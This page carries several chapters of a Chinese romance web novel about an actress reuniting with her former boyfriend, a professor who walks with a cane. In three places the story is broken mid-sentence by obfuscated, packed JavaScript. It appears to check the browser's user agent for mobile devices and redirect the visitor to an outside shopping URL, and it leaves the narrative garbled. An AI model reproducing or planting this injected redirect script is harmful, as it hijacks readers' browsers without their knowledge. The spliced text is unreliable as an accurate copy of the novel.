孟秦书不由得猜想,难道今天是班级聚会? 包厢在通道尽头,服务员将他们领到门口,伸手推开门。 包间不大,里面摆着一张红木小圆桌,漆面在灯下反光。她和靳子煜先后落座。男人侧身将手杖靠到墙边,回身时候,两人的视线又一次不期而遇。 一触即离。 从见面到现在不到两小时,这种意外状况,已经记不清是第几次了。 孟秦书将手机搁在桌面上,指尖一划,屏幕亮起,忽就不知道看什么。 菜是她点的。 她记得靳子煜喜欢吃凉拌折耳根,在菜单上打了个钩,然后递给身旁的服务员,顺口嘱咐:“叶子多些,根茎嫩一点,用红油拌,不要放香菜。” 折耳根的味道很特别,孟秦书一直吃不惯,靳子煜却每次去川菜馆必点。他的朋友常调侃他口味独特,不像宜平本地人。 靳子煜听完,要么温和地笑笑,要么不紧不慢地接一句:“食无定味,适口者珍。” 正在回复学生消息的靳子煜听见能孟秦书的话,抬眼看向她,停顿片刻,对服务员补了一句:“再加一道开水白菜。” 很多年前,靳子煜第一次带孟秦书去川菜馆,点了一桌菜。孟秦书吃到一半觉得腻,他便叫来服务员,添了份开水白菜给她清清口。 孟秦书当时很惊讶——白菜还能这样吃?尝过之后却连连称赞,从那以后,每次去川菜馆她都会点上一份。 用餐中途,隔着袅袅升起的热气,两人终于交谈了几句。 是孟秦书先开口的。 现在聊到,他是不是在海市大教书。 事实上,她早打听过了,却仍明知故问。 靳子煜颔了颔首:“来了两年多。” 他夹了片回锅肉放在米饭上,又用公筷就近取了块红烧鱼,特意选了鱼腹那一段,稍向前倾身,将鱼肉放进她手边的碟子里。 孟秦书想起那面墙上关于他的介绍:2017年8月,他以“青年人才”身份被引进海市大。下方列满了他密密麻麻的成就:SCI论文、国家发明专利、省部级科技奖项……他一直如此出色。早在宜大本硕博连读期间,他就在完成自己课题的同时,协助导师指导本科生。 和他分手那年,她刚大学毕业。那时正值暑假,却因繁重的实验课题,他比以往更忙。他们整整一个月没见面,联系只能靠Q/Q和电话。 八月的第一天,他们约在校园湖边见面。她向他提出分手,为了彻底断了他的念头,说了许多伤人的话。 “你……” 孟秦书上半身微微前倾,视线从他手机旁边那把带盾牌标志的车钥匙上一掠而过。 靳子煜见她神色认真,端起的茶杯停在半空,等着她开口。 烟雾散开,她琥珀色的眸子里清晰映出他的身影。静了一瞬息,她才问出口: “你一年的工资……够养这辆车吗?” 10. 第 10 章 靳子煜手一抖,茶汤溅了几滴在桌上。他盯着那摊小小的水渍,瞳孔微震。 从他的视角看,分裂的水迹犹如打碎的水晶,反射着决绝无比的碎光。 像极了分手那日孟秦书扯下腕间他送的金镯子,狠狠掼在湖边那块岩石上,镯身镶嵌的彩色水晶随之炸裂,迸溅。 暴雨如子弹般打在湖面上,水花混乱飞溅,那只弹开飞进湖中的镯子,转瞬间沉入湖底。 “我从来就没喜欢过它,又沉又俗,难看死了。” 可明明告白那天,她仰着脸说,她特别喜欢、特别喜欢。之后的每一天,她都戴着它,从未摘下。 当天傍晚,他的手机震了一下。银行提示,账户收到一笔五十万元的转账。 她把在一起这两年所有他送的东西折了价,一次还清。他不记得自己花过这么多,但他知道孟小姐家境殷实,不会计较这些小钱。 他给孟秦书的Q/Q和手机号分别发了信息,只为了告诉她钱收到了,结果Q/Q显示已不是对方好友,短信息石沉大海。 那天他对孟秦书说不恨她是真的,但无法忘记过去所受的屈辱也是真的。 靳子煜突然有些后悔,他把她当一个重逢的故友,帮一把,吃顿饭都是随手的事,但该止步于此,他们之间实在没必要持续冗余负载。 对面的孟秦书自然不知道靳子煜在想什么?此刻她十分懊恼。 她是想探听靳子煜的经济状况,可又觉得直接问太过唐突,于是满腹的话在心里来回盘算,总想找一句既体面又能达到目的的开场。谁知绕了半天,一开口却成了这样。 再看靳子煜沉着的脸色,明显她这句话让他不悦。 但这男人脾气太好了,他不会发火,更不会斥骂——他是真的不会。 若是放在八年前,他连生气都不会。她记得有一次,他们去商场看电影,距离开场还有半个小时,因为她想喝西瓜汁,靳子煜就去楼下排队买。 电影快开场了他还没回来,她下楼找他,却看见一个老太太指着他的鼻子骂,骂得极难听,什么“瘸子”“废人”之类。 靳子煜情绪却异常稳定,哪怕周遭目光都落在他身上,他也只温声讲道理,几次引得路人帮腔。 越来越多人开始指责那位欲插队的老太太。老太太说不过靳子煜,又被众人指指点点,顿时恼羞成怒,双手猛地向前一推。 毫无防备的靳子煜被重重一撞,在路人的惊呼声中侧摔在地,握在右手的拐杖随之脱手,滑出老远。 孟秦书跑过去时,他已从地上坐起身,路人也将拐杖捡了回来。 靳子煜看到她,竟还咧开嘴笑了笑,露出整齐的白牙。 从前真的没有什么人、什么事能影响他。 整整六年,他们之间除了那些磨灭不去的过往,还横亘着一大片空白。 茶汽氤氲聚散,靳子煜回过神来,轻轻搁下茶杯。抬眸时,却见孟秦书脸色忽地苍白,胸腔微微起伏,像是哪里不适。 是因为刚才那句话么? 以前的她哪会在他面前这般懊神色不宁。她孤洁、高傲,从不向任何人低头,但偶尔也会流露出几分可爱,十分可爱。她这样美好,却愿意在并不那么好的他身边停留,他哪里舍得让她受半点委屈,唯有常觉亏欠。 靳子煜的喉结几不可察地滚动了一下。他将一直搁在腿上的左手抬到桌面,松开拳时,才察觉指节根根绷得发白。他心下微慌,复又蜷起手指,将这只手无声地放回腿面。 压下心头那阵细密的涩意,他用一贯温和的语调开口:“学校的工作很稳定,我平时也有些其他的合作和顾问收入,生活上没什么压力。” 稠重的空气中似多了几丝苦冽的味道。孟秦书怎会听不出他用一句轻描淡写的话语,终结了这个话题。 服务员推门进来,手里端着最后一道菜,她从虚开的那道门缝中,瞥见有几道年轻的探寻目光再往里探,显然是一次次开门中,有人发现了她,只是现在还不是很确定。 她向后靠去,脊背贴上椅背,略显局促地避开那些张望。这一靠,也让她趁机舒出一口浊气。 那盘折耳根被放在了孟秦书面前。服务员退出包间,门重新关上。孟秦书坐正身体,端起这盘菜,放到靳子煜左手边,同时压低声音对他说:“等会儿你先走,我随后。” 男人一点就透,微微颔首,薄唇间逸出一声很轻的“好”。 …… 吃完这顿饭已近八点。靳子煜拿起手杖撑起身,孟秦书随即开口,请他帮忙叫服务员过来。 靳子煜目光微动,领会了她的用意,沉默片刻,仍是依言走到门边,拉开一道缝。恰好有服务员经过,他便将人请进包厢。 孟秦书请服务员去取收款码,她来买单。服务员应声,动作利落地退出门外。 门在靳子煜身后安静地合上。他望向刚站起身的孟秦书,对她说:“我去停车场等你。” 孟秦书点点头。 随后靳子煜也离开了。 结完账,孟秦书从另一个口袋里摸出黑框眼镜,连同烟盒一起带了出来。 她有三四年的抽烟史,不过从前电影、电视剧一部接一部,连轴转的日子里,常常半个月都想不起抽一根。反倒是年初债务还清之后,精神上忽然“松了绑”,另一种巨大的空虚感便席卷而来,尤其是一个人待在酒店时,总习惯性地点支烟,仿佛尼古丁能填满那片空洞。 此时此刻,她很想抽一支。 她挑出一根烟夹在指尖,“咔”金属打火机弹开盖子。跟着一道冷光反射进眼里,刺得她眯了眯眼。 罢了,靳子煜还在外面等。 烟和打火机都被按回口袋。她先戴上那副平光的黑框眼镜,再拉上口罩,边往外走边压紧鼻梁处的金属条,确认严丝合缝后这才伸手握住门把,拉开包厢的门。 —— 细雨纷纷,霓虹灯变幻,周围影影绰绰。 靳子煜倚着车门,漆冷的目光远投在停车场出口处,正对面那家手机店大音响里播放的动感流行音乐盛着微风飘进他耳中。 搁在车内的手机忽然振动起来。他后退半步,正要拉门,一阵急促杂沓的脚步声与拔高到近乎破音的惊喜呼喊已朝这里逼近。 “南寒——” “南寒!!” “啊啊!南寒!” 他眸光骤然一凝,只见孟秦书已快步拐进停车场,随即闪身左转,整个人紧贴住墙边,胸腔剧烈起伏,可却是连大喘气都不敢。 那支近百人的队伍如一阵狂风从停车场门口呼啸而过,脚步声轰轰如潮,夹杂着兴奋的呼喊,逐渐远去,直至消失。 微风斜雨,孟秦书拍着胸膛拖着双脚缓慢地朝他这儿走,像是累极了。 灰色外套轻薄,因口袋里有东西袋子往下坠,衣角随着她的走动沉沉晃动,修身的浅蓝色牛仔裤将她本就细长的腿裹得更修长,使得整个人显得单薄。 指尖轻巧一勾挂耳绳子,她摘下口罩,大口大口的呼吸,于是发丝被吹到嘴边,沾住了她莹润的红唇。 孟秦书见靳子煜一眨不眨地望着自己,他那双映着霓虹的眼中仿佛盛着温柔的星子。 她抿住嘴唇,抬手将颊边一缕碎发勾到耳后,有些羞赧地垂了垂眼,随即加快脚步走到他面前,停下,抬眼望他。 “久——”等了。 话才出口,被一道细尖、疑惑的女声打断。 “会不会在这里面啊?” “哎,她会不会躲在停车场里面啊?” 孟秦书如临大敌般身体骤然紧绷。 突然间,手腕被一股大力扯着拉过去,低呼还卡在喉间,人已被拽着转了半圈,与此同时腰身被一条手臂牢牢环住。 手机啪地掉在地上。她迎上他灼灼的目光,下意识地抬手攥住他的双肩,后一秒,脊背重重抵上车门。 几乎同一瞬,眼前光线骤然暗下——是他低头压近。 微凉的鼻尖抵着她的额头,呼吸自上而下拂落,像一根羽毛划来回扫过她的鼻梁。 “别出声。”他压低声音,命令的口吻。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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靳子煜起初向后微仰,可当她的舌尖试探着去抵他的齿关时,就如同火柴丢入表面已经熄灭的炭火中,火焰倏然蹿起,一下烧断了那根名为“克制”、“清醒”的弦。 他几乎是本能地收紧了环在她腰间的手臂,反客为主地迎上去,先一步撑开她的唇齿。 唇舌交缠,那些过往便一发不可收拾的侵入。她的呜咽被他吞咽,细微的水声在厮磨间辗转。 [雨纷纷,旧故里草木深] [我听闻你始终一个人] …… 不知不觉对街音响里换了音乐混在乱了章法的呼吸和粗重的喘息声中。 雨还是太小了,它浇不灭这燎原的炽火,亦慰藉不了久旱逢霖的土地。 [缘分入地生根是我们] …… 嗡——” 手机震动声蓦然响起。 两人均是一怔,循声望去。 屏幕亮着“池俊”二字出现在上面。 孟秦书从靳子煜怀中退开半步,俯身拾起手机。指尖轻划,将屏幕贴在滚烫的耳畔。 指腹无意识地抚过微肿的唇,她悄然抬眸,正正撞进他的视线里。 心下一慌,急忙别开眼。 “你一个人跑去吃饭?”电话那头,池俊的声音传来。 语气有点急促。 孟秦书静默未应,他又接着道:“你和粉丝的合照,已经传上微博了。” 原来如此。 在店里,她确实为几位粉丝签了名。起初不过三两人,怎料转眼间聚来更多人,纷纷要求合影签名。一来怕扰了店家生意,二来也恐人潮愈聚愈难脱身,她便趁众人未及反应时匆匆逃走。 细雨微风依旧飘拂,已褪尽白日余温,落在她的后颈激起一阵凉意,顷然浸染身体未散的滚烫。 这边池俊的电话还未结束,娜姐的电话就来了,嘟——嘟——嘟的连着响,就像老和尚敲木鱼。 她掐断和池俊的电话,转而接起娜姐的来电。 “南寒,你现在在哪里?”娜姐语气里带着几分愠意。 无疑是她与靳子煜一同进入餐厅的画面被人拍下传到网上了。她脑海中迅速闪回在餐厅时的情形——确认两人并未有过分亲密的接触。 “我在晨曦路。” 娜姐的声音沉了下来:“现在立刻、马上到公司来。” 11. 第 11 章 B市影视城的拍摄结束后,孟秦书直接从这里出发,只身一人踏上前往港城的飞机。 两个半小时后,飞机抵达港城上空。舷窗外阴云低垂,细雨迷蒙,连绵雨雾缠绕着摩天楼宇,俯瞰下去,恍若一片朦胧仙境。 “各位旅客,本次航班即将降落在港城国际机场。目前港城地面温度为摄氏32度,天气为小雨……” 乘务员字正腔圆的声音从机舱广播里传出,回荡在飞机上。 孟秦书抬手拉下遮阳帘,靠回椅背。她摘下覆在额上的眼罩,塞进身旁的黑色小包里,又拿起桌上的手机。屏幕识别出她的面容,自动解锁,界面停留在她和靳子煜的微信聊天记录上。 飞行途中她始终没有睡意,百无聊赖时,便反复翻看两人这些天的对话。 [我最近遇到了点麻烦,可以向你借点钱吗?] 通过好友验证后的第一条消息,已经过去十六天了。最后一条是她昨晚发出的,告诉靳子煜自己还有三天回海市。 靳子煜秒回了一个“好的”。 她的行程自然不必向他报备,只是原定搬进他朋友那处的计划,因她在B市拍戏一再推迟。她只得每晚发信息,言辞恳切地致歉,并一遍遍告知靳子煜自己延迟返回的日期。 只是,明天、后天、大后天……一次次改期,让她心里难免过意不去,总觉得辜负了对方的好意。 孟秦书回想起那晚,他们那时明明都是清醒的,却在停车场吻得忘记时间,忘记了那些不快,忘掉身处何地时的画面。 他仿佛一块天然的磁石,当天在视线范围内,她就无法不靠近他,他又是炙热的,熨着她的身体,淡淡的温意包围她,但不够,迫于想驱寒,,她便整个人依附上去,用力汲取他身上的温度。 她又想起她接池俊电话时候,他漆黑的眸子里划过几分怨怪,虽说只是转瞬即逝。 不难理解,就像一段沉溺的旋律被骤然掐断,任谁都会怔忡,生出几分不甘的恼意。 那晚她还明白了一件事:无论是借钱、为她安排住处,还是身体的本能反应,时隔多年,靳子煜依然无法拒绝她。 薄薄的眼皮,狭长而深的眼睛,眼尾绯红,明明藏了深情却偏要故作冷淡。 孟秦书合住手机,抬起眼望向某处,红唇一勾。 心说,靳教授你装凶一点儿不像。 刚下飞机,娜姐发来她下个月的行程通告,三个品牌站台,一个剪彩,还有一个生日见面会,合理穿插在她拍戏期间。 刚读完消息,娜姐又发来一条:【南寒,私生活是你的自由,公司原则上不干涉。那部剧刚上映,品牌都看着,近期别再整事。你哪天功成身退了,想怎样都行。】 上周与靳子煜外出用餐时,两人被拍到了几张照片。一张是抓拍,两人一前一后走在饭店通往包厢的通道上;另一张则是她独自进入包厢的背影。 所幸,照片中靳子煜仅有一个拄着手杖的模糊背影,且没有出现他先进包厢、她随后跟入的关联画面。 公司反应也很迅速,第一时间联系该饭店,将相关时段的监控录像彻底处理干净。 由于缺乏实质性的亲密证据,加上粉丝在微博上积极澄清、维护,几条话题热度很快被压了下去。 但公关都知道,这种事留下的最大隐患,是一种“印象负债”。也就是说,这件事已经在路人的记忆里,埋下了一颗种子,如若她下一次再与同一人外出,媒体和舆论会立刻将两件事关联,到那一步,愤怒的将不只是路人,粉丝必然会因为“狼来了”对她的信任产生动摇——对于流量明星而言,这才是最致命的。 这些反复提醒的话,娜姐对她手下的每位艺人都念叨过无数遍,孟秦书早已倒背如流。 孟秦书走的VIP通道,地勤送来她的行李箱,她推着它往电梯方向走,很快到了机场负一楼。 她一眼看到了那辆贴墙横停的黑色劳斯莱斯,车里的司机显然也看到了她,启动汽车,缓慢匀速地向她。 车停在她身前,司机立即下车,绕到她这一侧,拿走了她的行李箱,推去放入后备箱中。 还是半年前来接她的年轻男人,她记得他叫阿田,他自我介绍过,今年二十六岁,是一名退伍的军人。 阿田返回时,她已经自个儿坐进车内,对他颔了颔首随后拉门,关上。 车子发动,平稳地驶出地库。 港城繁华的街景和人流如织的景象在孟秦书眼中倒退,她此次来,不只是为了给她的那位亲生父亲温宗蘅庆生,还有另一个目的,是为了孟博清的病。 港城圣莱迪国际私立医院是全亚洲顶尖的脑科医院,院内的Dawei医生更是胶质瘤手术领域的权威。经他手成功的病例不计其数,因此即便治疗费用二三百万,每年从世界各地前来求医的人依然络绎不绝。 Dawei医生对病人的筛选也极为严格,并非有钱就能得到他的收治。网上流传,即便是富豪挂上他的号,也只不过拿到一张“入场券”。 上个月,孟秦书带着孟博清复查显示复发迹象的报告,通过傅总的关系拿到了那张入场券。可当这位医生看完病例,只以“未达到极限位置”将她请出了诊室。 —— 在港城的第二天,孟秦书如愿再次见到了Dawei医生。 有了温宗蘅的引荐,这次会面的氛围与上次截然不同。Dawei医生不仅耐心审阅了全部病历,更给出了具体得多的专业意见,并应允,一旦病情再度出现进展,可把人带过来评估。 温宗蘅六十八岁生日晚宴在浅水湾山顶私宅举办。 私宅临崖而建,周围灯火通明,整座花园与白色的三层洋楼映得恍如琉璃宫殿,与远处维港的璀璨隔海相望,恍若欧洲古典童话书中拓下了一页。 不同于白天在香格里拉酒店举办的盛大的招待酒会,招待的都是商贾名流,晚上厅内相聚的只有家族成员。 水晶吊灯的光芒瀑布般倾泻下来。长条餐桌上已摆开银质餐具与荷兰空运来的深色郁金香,。温宗蘅的五位婚生子女及其配偶、孙辈,已将二十二个席位占据得只余温朔对面那张。 温宗蘅有五个子女:四十余岁的大姐与大哥,出自已故的原配夫人;三姐、四姐与最小的温朔,则都由现任温太太所出,而她位置就比较尴尬了,她的母亲只不过是温宗蘅早年间的一段露水情缘。 不过,她比温朔大六岁,温宗蘅之前还在他们面前半开玩笑说,温朔“老五”的位置得让出来了。 今年是她第二次来为温宗蘅庆生,才勉强将桌边这些面孔与名字对上。她并非未曾见识过世面,自小便随孟博清出席各种宴会,可直到见识温家这样的大家族,她才明白什么才是真正意义上的“老钱”门第,那是连电视剧都拍不出的厚重底蕴。 温太太的目光缓扫到她这里,视线一碰到,就对她露出一个大度温婉的笑意。 或许是豪门争斗的电视剧看多了,孟秦书不自觉会想,幸好自己是个名不正言不顺的外人,对这些人构不成任何威胁,他们才会对她如此客气。 甚至每次过来一趟,大哥、大姐都会把她当小孩一样,问她在内地有没有受欺负? 她说没有,他们就一定会接一句遇到困难一定要告诉他们。 沉厚有力的脚步声停在门厅口。 二十多双眼睛不约而同地都往那儿看。 温宗蘅换下了白天的高定西装,穿着一身深灰色中山装现身,斑白的鬓发梳得纤毫毕现,那双鹰隼般的眼睛威严精锐,似能洞察一切。 一顿饭下来,从头至尾,除了刀叉轻碰碗碟的细微声响,再听不见其他杂音。 孟秦书不由得庆幸自己不住在这里。从前她总觉得在孟家压抑,与之比较,孟博清至少是个正常人,熙然脾气大,饭桌上常常不是摔碗就是摔筷子,他也总是一遍遍地哄,许这个诺、应那个求。 晚饭后,孟秦书去她的房间拿了准备好的礼物,到三楼,敲开了温宗蘅的书房门。 她站在书桌外面,微微躬身,将手中那个深蓝色丝绒的长方形礼盒双手递上,“生日快乐。愿您身体康健,松柏长青。” 六年前孟家破产,孟博清遭受打击一蹶不振,在债主天天上门追债,所有人避之不及的时候,也就是第二年温宗蘅突然出现,自称是她的亲生父亲,不但替孟家清偿了天文数字的债务,还留下一笔让他们得以喘息的钱。 温宗蘅也曾提过要带她回港城,会好好照顾她。彼时她只觉得荒诞,断然拒绝。 后来,温宗蘅常常来看他们,乃至于她进娱乐圈,这几年都是他在保驾护航,。她感激,却也清楚,一个人承了对方太重的情,便再也难以拒绝那些看似“不过分”的要求。 比如,每年生辰来陪他吃一顿饭。 —— 翌日,她在港城申山港的卡地亚店铺选购饰品时,遇见了池俊。 没等她开口问,池俊便主动解释,他是来拍一支广告的,昨天刚结束,今天准备回海市。 两人对外的人设本就是合作伙伴兼朋友,没什么可避讳的。况且这种高端商场,一般也遇不到狂热粉丝,顶多被狗仔拍几张照片。 矮几上那只铺着黑色绒布的托盘里,整齐排列着五条风格各异的项链。店内灯光洒下来,嵌在上头的钻石闪烁着璀璨的光芒。 纤长瓷白的手指一勾,从中挑起一条。孟秦书对着店员举起的镜子比了比。 这项链设计很特别,由一黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025925|194400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一银两条细链组成,在颈后通过一个隐秘的卡地亚双C扣头精巧地合拢。 “怎么样?” 女人对美的东西向来没有抵抗力,购物更是能让人心情愉悦。 池俊一直坐在沙发扶手上,食指搭着唇,端详片刻,道:“还不错。” 但他更喜欢另一款名为“EtoileduSilence”的满天星项链,抬手指了指:“试试这条?我觉得更好看。” 孟秦书瞥了一眼,没兴趣,眼皮一抬对店员说:“就要这条。” 她刷卡买单,因为还要去对面的IWC,拎上纸袋就直接走了。 池俊跟进去时,孟秦书刚挑中一款中规中矩的机械表,正侧头问半蹲在旁的男店员:“有现货吗?” 店员在平板上划了几下,查询系统后展颜一笑:“孟小姐,您运气真好。这只是全港最后一件库存,昨天刚到店,还没放进展示柜。我这就去为您取来。” 等店员离开,池俊走到对面的沙发坐下,向后一靠,架起腿,漫不经心地问:“给他选的?” 网上爆出来的照片他一眼就认出了那是靳子煜。以前只看照片时,觉得这人长得还算顺眼,上次在楼下瞥见真人,和照片里大差不差。 就是那冷冰冰的审视目光,活像阿漓欠了他百八十万似的,让人有些讨厌。 暴雨夜第二天,他特意打听了一下,找到靳子煜授课的教室,倚在门边听了几分钟。 那天居然还是全英文授课?池俊的英语水平只停留在高中阶段,根本听不懂内容。不过,教师这身份确实自带光环,站在讲台上的靳子煜倒是挺有魅力的。 尽管他走下讲台时因腿伤拄着黑色手杖,但这并没减分,反倒添了几分英伦绅士气质。 话又说回来,阿漓选的这款表,倒是挺衬他。 孟秦书几不可闻地“嗯”了一声。片刻后,店员便将手表取来,并客气地询问:“请问您知道那位男士的腕围吗?” 她不假思索:“他手腕挺细的,16.8厘米。” 池俊斜倚的身子不自觉坐直了,安静一秒,不可思议:“16.8?小数点后一位都这么精确?” “不过,他一个穷教书的,天天站在讲台上,突然戴块大几万的表,嗬,比校领导都阔气,阿漓……你这哪是送表,我看你是想送他上热门。” 浓密纤长的睫毛在她精致的脸颊上投下两道扇形暗影。 “一块表而已,他若戴着不合适,收起来便是。” 蓦地,那蝶翼惊掠般抬起,露出一双含着警告的昳丽眼眸,直直地看向他:“你没资格评论他,没有下次。” 池俊从喉间溢出一声轻笑,起身离去,恰与拿着手表进来的服务员错身而过。 —— 回到海市已经是晚上七点。今晚夜风有些燥,孟秦书轻轻摇晃红酒杯,透过深红色的液体去看这座一到夜晚就变得艳丽暧昧的城市。 灯火星海,明灭交替,它永不谢幕。而人,终要臣服于黑夜。 孟秦书转过身,藕色绸缎裙摆如涟漪般拂过铁质栏杆。她微微仰起脸,朦胧月芒在她侧脸流动,精妙的勾勒出一段纤柔修长的颈项,在光与影的交界处,那一点点淡粉如同纯白雪地上的花瓣。 杯中酒被她一饮而尽。指间松松拈着杯脚,她半阖着眼,脚步微晃地走回房间。 两幅窗帘无声地向中间合拢,直至最后一丝光也被吞没,只剩下满室阒然。 次日一早,孟秦书刚坐进车里,收到靳子煜的信息。 他将房子密码锁的密码发给了她——89054 指腹贴上去,摩挲了一下,似乎能感觉到对面那人的温度。 又一条信息跳出来:【你随时可以搬过去,密码记得改掉。】 她唇角扬起,轻快地敲下一行字:【我直接过去?】 潜台词是:那你会来吗? 【对,到门卫那里报501,我和保安打过招呼,会让你进去。】 也就是说,他不会过来。 这样啊……孟秦书想起放在房间边柜上那本想送他的手表。 她又打字问:【你在学校吗?】 几乎同时,靳子煜的消息跳了出来:【你车牌号多少?我让保安登记。】 她低眸看向方向盘中央的“T”字标志,细眉轻轻一弯,飞快地输入车牌号发了过去 靳子煜回了个【收到】便再没了声音。 手机被她随手放在副驾驶座椅上,孟秦书又想起靳子煜没有回答她的问题。 应该是在学校吧,她心说。 指尖在方向盘上轻敲两下,孟秦书眼眸一亮,随即做了个决定。 于是,她开门,下车,直奔套房。 12. 第 12 章 窗外阳光明媚,五十人的小教室内窗帘紧闭,黑漆漆。 学生们齐齐的仰头,盯着幕布上复杂个跳动的心脏仿真动画。 靳子煜站在讲台一侧,用手中的绿色激光笔圈出心率数值:“如图所示,静息状态下,健康成年人的心率通常在60到100次/分钟之间。但这只是一个粗糙的平均值。” 台下学生交头接耳一阵,室内重回安静。 他进一步解释:“当你面对不同生理或心理挑战时,这种调控会剧烈变化。比如从卧位突然站立,交感神经兴奋,心率会快速上升以维持血压。而深度睡眠时,迷走神经主导,心率会放缓、变异性增高。”(1) 坐在中间的戴眼镜男生把手举得老高,靳子煜看见,颔首示意他发言。 男生清了清嗓子:“教授,那要是看见喜欢的女孩迎面走过来呢?心率会飙到多高?” 说到这种事,少男少女们可就来劲了。原本安静的课堂爆出一片笑声,一下子热闹起来。连那几个埋头记笔记的学生,眼中都浮现出兴致。 “马同学提了一个非常‘经典’的样本场景。”靳子煜摁灭手中的激光笔,抬起手臂搭在讲台边缘,“这没有标准答案。它取决于很多变量:比如,‘女孩’这个刺激源的强度。” 台下发出鹅鹅鹅的笑声,靳子煜跟着笑了:“不过我可以提供一个参考范围。根据一些关于‘积极情绪激发’的研究,在这种既兴奋又紧张的混合状态下,心率增幅可能比静息时高出20%到50%。也就是说,如果本来你是70,那一刻冲到100以上,完全有可能。”(2) 一旦涉及到该类话题,每个人的话匣子都打开了,你一句我一句,有人笑着分享自己体育课测八百米时的心率还没见喜欢的人时高,理论派则在争论这该归类为“情境性心动过速”还是“情绪性代偿反应”,最后排的两个女孩子更是豪迈地哈哈大笑,原来是在互相看彼此手机里心动对象的照片。 靳子煜含着笑等待他们话题终结。 门外,孟秦书侧身站在墙边,透过门上那面玻璃,悄悄望向讲台上的靳子煜,听着里面此起彼伏的笑声。 在靳子煜的目光似要扫过来时,她迅速转身,整个后背贴住冰凉的水泥墙壁,长长舒了口气。 “教授,您刚才说的那种‘看到喜欢的人’引起的生理反应……您自己有过这种‘数据体验’吗?”一个女生中气十足的嗓音高高响起。 听见这个问题,孟秦书不由自主地往门前挪了一步。 “教授,您这么帅,是不是已经结婚了啊?” “您有女朋友吗?” “是不是苏老师!” …… 隔着一道木门,里面的声音叽叽喳喳。她很想知道靳子煜会怎么回答,于是再前进半步,将耳朵贴上了门板。 教室内,靳子煜走到电脑前,点了几下鼠标调出下一张幻灯片,再抬头时笑意已经收敛,只温和地说道:“好了,笑过之后,我们来看这种‘波动’在频谱分析上,究竟是如何体现其神经调控机制的……” 教室里的笑声戛然而止。 靳教授在生医工是出了名的脾气好,学生都不怕他。他年轻,也就比他们大十来岁,平时更像邻家哥哥。课上延伸出来的趣味话题,他也常参与讨论,和那些一板一眼的老教授完全不同。 今儿个这是……? 再迟钝的学生也察觉到了气氛的微妙变化,大家面面相觑片刻,随即收起笑意,端正坐好,重新将目光投向幕布。 而在门边坐着的男生,却因忽然听见门板传来细微的响动而侧过头。 突然间,那扇门豁然向内打开,就见一个白色瘦长的身影斜着摔了进来,“啪”的一声,重重侧倒在地。 男生惊的瞳孔放大。 “门……怎么没关好。”双手和膝盖因为猛烈的撞击又痛又麻,孟秦书嘟囔埋怨:“好痛……” 她蜷起双腿,一碰就疼得吸气,正咬牙忍着打算爬起来,却忽然感应到整个后背、连同后颈那片皮肤,被不知道多少双眼睛盯着,泛起微微热意。 她的动作僵住了。 偷偷朝左边瞥去,正好对上门口那个男生探究的眼神,仿佛在问:“你什么情况?” 完了,出洋相了。 孟秦书第一反应是抱住头,飞快地正了正头上那顶老气横秋的深红色短卷发。 还好,假发还在。 她刚想松口气—— 一阵加快的脚步声混着手杖点地的声音,正朝她逼近。她用余光偷偷瞄,就看见正对的过道上,靳子煜穿着黑色休闲裤的腿正踉踉跄跄地朝她走来。 他走这么急干什么? 心一下子悬到了嗓子眼,孟秦书慌忙起身,不管不顾头也不回地转身跑出教室,顺手还把那扇门“砰”地带上了。 人还没看清模样就跑得没影了。 学生们觉得这突如其来的小插曲颇有意思,间或响起笑声。而他们这位靳教授却停在最后排,原地站了好一会儿,才缓缓转身往回走。 他俊气的浓眉微微拧起,像是被什么问题给难住了。 孟秦书一口气跑到了二楼的卫生间,她打开其中一扇门,钻进去。 包取下来,挂在挂钩上,她龇牙咧嘴地挽起裤腿,两个膝盖上通红一片,但好在没有破皮。 正要伸手开门,包里的手机嗡嗡两声,是来了微信信息。 孟秦书掀开包盖,取出手机,查看。 YU【你还好吗?】 孟秦书眼睛一亮,不由地笑了。 果然哪怕她扮成鬼,靳子煜也能认得他。 大四那年,因为不想用家里的钱,就去学校附近的舞蹈学校当舞蹈老师。 那个学校刚开业,为了招揽生意,傍晚她还需穿着玩偶装去大学城发传单。 那天靳子煜从广场上路过,走出约百米,突然返回,站在她身侧,不干扰她也不离开。 像个保镖一样。 孟秦书本想装作没看见,就这样蒙混过去,可十多分钟过去了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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孟秦书一直等到那身影走远了,方才脚步轻快地下楼,站在靳子煜面前。 “为什么拒绝人家?”她好奇。 靳子煜的目光自孟秦书膝盖上那两团灰色污渍上抬起,看她的脸,神色冷淡,不答反问:“你来这里做什么?” 这是平等地拒绝每个人?孟秦书不吃这套,执着地、甚至有点自恋地追问:“是因为我吗?” 一阵嘻嘻哈哈的笑声从楼上传来,下一秒,三个男生出现在他们视野里。 男生们瞧见站在楼下的靳子煜,笑声顿时收住,连忙整了整神色,放慢脚步下楼,经过时规规矩矩喊了声:“教授。”。 然后跑开了。 靳子煜把她带到自己的车旁。孟秦书不用他提醒,自己拉开副驾驶的车门,坐了进去。 车子停在一棵高大的梧桐树下。碧绿的叶片层层叠叠,遮住了头顶的日光,投下一片清凉的树荫。 孟秦书静凝着他的侧脸,因正在系安全带,他薄薄的眼皮微阖,清冷的模样像威士忌里的冰块。待他扣好搭扣,她才轻声开口:“我把酒店的东西都搬过去了,花了一上午才收拾好……你要不要去看看?” 13. 第 13 章 那日靳子煜只将她送到楼下,没再上去。 就像拒绝那个女人一样,也拒绝了她。 几天后,孟秦书从外省回来,给靳子煜发了条信息,请他晚上来家里吃饭。 一直等到中午十一点,他都没有回复。 